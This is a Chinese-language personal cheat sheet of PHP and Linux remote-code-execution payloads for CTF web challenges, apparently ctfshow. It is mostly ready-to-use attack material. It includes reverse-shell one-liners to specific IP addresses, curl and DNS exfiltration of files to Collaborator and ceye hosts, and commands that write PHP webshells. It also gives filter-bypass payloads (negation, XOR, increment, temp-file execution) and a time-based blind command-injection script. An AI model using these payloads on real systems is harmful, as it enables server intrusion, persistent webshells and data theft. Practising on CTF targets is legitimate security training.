开篇注释:

linux基本命令:

1.常见管道符
windows:
‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同
2.读取文件命令
cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

1.无参数rce

1.1基本函数及其作用:

函数 效果
foreach($a as $x => $y) $a为数组,将数组名和值循环赋值给$x和$y
exit($a) 输出$a并退出当前脚本
show_source() 显示文件内容
highlight_file() 显示文件内容
readfile() 显示文件内容
var_dump() 打印数组,显示文件名
printf() 显示文件内容
next() 数组指针移动到下一位
array_reverse() 数组位置前后调转
show_source(next(array_reverse(scandir(current(localeconv())))))
localeconv() 详细的自己搜,返回一个数组,数组的第一个是小数点字符,因此可以用current()提取一个.
current()或pos() 提取数组第一个元素的值
scandir() 显示目录中的所有文件
scandir(current(localeconv())) 查看目录
var_dump(scandir(current(localeconv()))) 输出目录
end() 取出数组中的最后一位
chdir() 目录跳转,例如chdir(‘..’)就是跳转到上级目录
get_defined_vars() 返回由所有已定义变量所组成的数组(全局变量)
dirname() 返回当前文件的路径,就是pwd
getcwd() 返回当前的工作目录
getallheaders() 返回所有的请求头数组
getenv() php7.1版本以后才能使用,获取环境变量
time() 返回当前的Unix时间戳
localtime() 取得本地时间
localtime(time()) 返回一个数组,0-60之间

1.2session_id

session字符串只能存储大小写字母以及数字组成的字符串,所以需要对session进行转换,操作如下

eval(hex2bin(session_id(session_start())));

echo bin2hex("phpinfo();")=706870696e666f28293b //php执行

phpsessionid=

1.3随机读取文件

print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv()))))));

1.4getallheaders()

源代码

<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>

payload:

eval(array_pop(getallheaders()));
//这里的array_pop是弹出http头的最后一个
//getallheaders()是获取所有请求头信息的一个数组
请求头:
因为得是在最后一个,所以用字母让他排到最后,例如:
ZZZZZ=phpinfo();

或者使用
eval(pos(next(array_reverse(getallheaders())));

1.5get_defined_vars()

获取全局变量$_POST   $_GET    $_FILE    $_COOKIE
current会默认弹出数组的第一个,在这里就是get方法,所以可以用这个方法加上end()函数去获取

2.无字母数字rce

可参考https://www.freebuf.com/articles/network/279563.html(已保存)

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

2.1重点,每次做都得看

遇到这种的,得到脚本之后直接用运算符进行连接,1乘script乘1,就这样的格式

$code =  eval("return $v1$v3$v2;");

2.2取反绕过

Script 1
<?php
$a=urlencode(~('call_user_func'));
$b=urlencode(~('system'));
$c=urlencode(~('whoami'));
echo $a;
echo "\n";
echo $b;
echo "\n";
echo $c;
echo "\n";
echo "(~".$a.")(~".$b.",~".$c.",'');";
?>
Script 2
<?php
//在命令行中运行

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

2.3异或绕过

脚本位置code/,每次使用记得修改php中的正则代码

2.4或绕过

脚本位置code/or,每次使用记得修改php中的正则代码

2.5自增绕过

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();

2.6临时文件执行

使用于$也被过滤了的情况

利用点执行临时文件,用?匹配临时文件,正则表达式的内容可以随便替换,如果有绕过的话

. /???/????????[@-[]

执行包

POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: 192.168.43.210:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 109

----------123
Content-Disposition:form-data;name="file";filename="1.txt"

#!/bin/sh
ls /
----------123--

3.命令行写shell

前提:可以执行系统命令

echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B' | base64 -d > 123.php

echo '<?php eval(\$_GET[1]);phpinfo();?>' > /var/www/html/basic/web/2.php

4.无回显RCE

4.1反弹shell

nc 150.158.24.228 150 -e /bin/sh
bash -c \"bash -i >& /dev/tcp/150.158.24.228/150 0>&1\"

nc 110.41.17.183 150 -e /bin/sh
bash -c \"bash -i >& /dev/tcp/110.41.17.183/250 0>&1\"

java版本,用的时候记得把命令base64编码
bash -c {echo,bash -i >& /dev/tcp/110.41.17.183/250 0>&1}|{base64,-d}|{bash,-i}
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}
在浏览器命令执行的时候切记需要进行url后传参

4.2直接写入

利用cp命令:cp flag.php 1.txt

利用mv命令:mv flag.php 1.txt

利用>输出结果到文件:ls > 1.txt

利用wget下载:wget http://ip/shell.txt > shell.php或者wget http://ip/shell.txt -O shell.php

4.3burp(Collaborator Client)

利用bp的Collaborator Client模块进行操作

curl -X POST -F xx=@/flag http://qvpx2nspeuaw3w0lqulk72nyspysmh.oastify.com

4.4数据外带dnslog

推荐俩网址:

1.http://dnslog.cn

2.http://ceye.io/

单行传输:
ping `whoami`.dns地址
curl http://dns地址/`whoami`

多行传输:(外带只会显示第一行的数据)
curl http://y91yp4.ceye.io/`ls / | base64`
curl http://y91yp4.ceye.io/`whoami | sed -n '2p'`

4.5盲注

import requests
import string
import time

url='http://localhost.test.php/?c='
dic=string.printable[:-6]
flag=''

for i in range(1,50):
judge=0
for j in dic:
now=f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi'
start=time.time()
r=requests.get(now)
end=time.time()
if int(end)-int(start) >1:
judge=1
flag+=j
print(flag)
break
if judge==0:
break

print(flag)

命令解析

if [ `cat /flag | awk NR==1 | cut -c %s` == %s ];then sleep 2;fi

5.绕过长度限制

5.1substr()函数截取

5.1.1 web133

源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

分析

get传参   F=`$F `; sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `; sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

payload

payload: ?F=`$F`; curl -X POST -F xx=@flag.php http://juhspnhonkrsc5p0qayb5lgbi2osch.burpcollaborator.net
//后面的这个是用burpsuite生成的
5.1.2 web134

源代码

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

payload

payload:F=`$F `; nl f*>1.txt
payload:F=`$F `; cp f* 2.txt

//注意,这里的;号和后面命令中间必须有个空格,没有执行不了,不知道为啥

5.2单纯长度限制

5.2.1 通过>来创建文件
>flag.txt    //创建文件flag.txt
5.2.2 通过>将命令结果存入文件中
echo "PD9waHAgZXZhbCgkX1BPU1RbY2h1MF0pOyA/Pg==" | base64 -d > flag.php
//将马写入flag.php,写shell必须得用这个
5.2.3 >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
echo "hello hacker" >> flag.txt

6.命令绕过

6.1空格

$IFS              


{cat,flag.php} ——这里把,替换成了空格键

%20 ——代表space键

%09 -- 需要php环境,如cat%09flag.php

${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php

$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php


< -- 重定向,如cat<flag.php

<> -- 重定向,如cat<>flag.php

6.2字符串拼接

前提:能够执行系统命令

GET:
?a=content1;b=content2;cat $b
POST:
chu0=a=l;b=s;c=/;$a$b $c

6.3base64编码绕过

前提:能够执行系统命令

echo MTIzCg==|base64 -d 其将会打印123

echo bHMgLw== | base64 -d | bash
`echo bHMgLw== | base64 -d` ==>ls /
echo bHMgLw== | base64 -d | sh

6.4hex编码绕过

生成脚本

<?php
$a = 'ls /';
echo bin2hex($a); //6c73202f
?>

payload

echo 6c73202f | xxd -r -p | bash
`echo 6c73 | xxd -r -p`
echo `6c73202f` | xxd -r -p | sh > 1.txt

6.5单引号和双引号绕过

ca''t flag 
ca""t flag
l''s /
l""s /

6.6反斜杠绕过

l\s /
l\s /var/www/ht\ml
ca\t f\ag

6.7绕过ip中的句点

网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。

数字转ip地址 ip地址转数字 域名转数字ip

6.8tee、script命令

ctfshow web136

源码

 <?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

命令说明

tee file1 file2 //复制文件
ls|tee 1.txt //命令输出

payload

?c=cat /f149_15_h3r3|tee 1
?c=cat /f149_15_h3r3|script 1

6.9call_user_function()

php文档解析:https://www.php.net/manual/zh/function.call-user-func.php
方式一:
call_user_func(ctfshow::getflag); //引用静态参数

方式二:
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用
call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法

6.10三目运算符

注意,在构造三目运算符的时候,要把?和:放在同一个变量当中

ctfshow web145

eval("return 1?phpinfo():1;");

v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5):&v2=1

1 ?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5): 1 //格式是这个样子的

6.11等号和位运算

ctfshow web146

eval("return 1==phpinfo()||1;");

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)

6.12正则匹配

例如:
ls flag => ls [e-g]lag
ls f{k..m}ag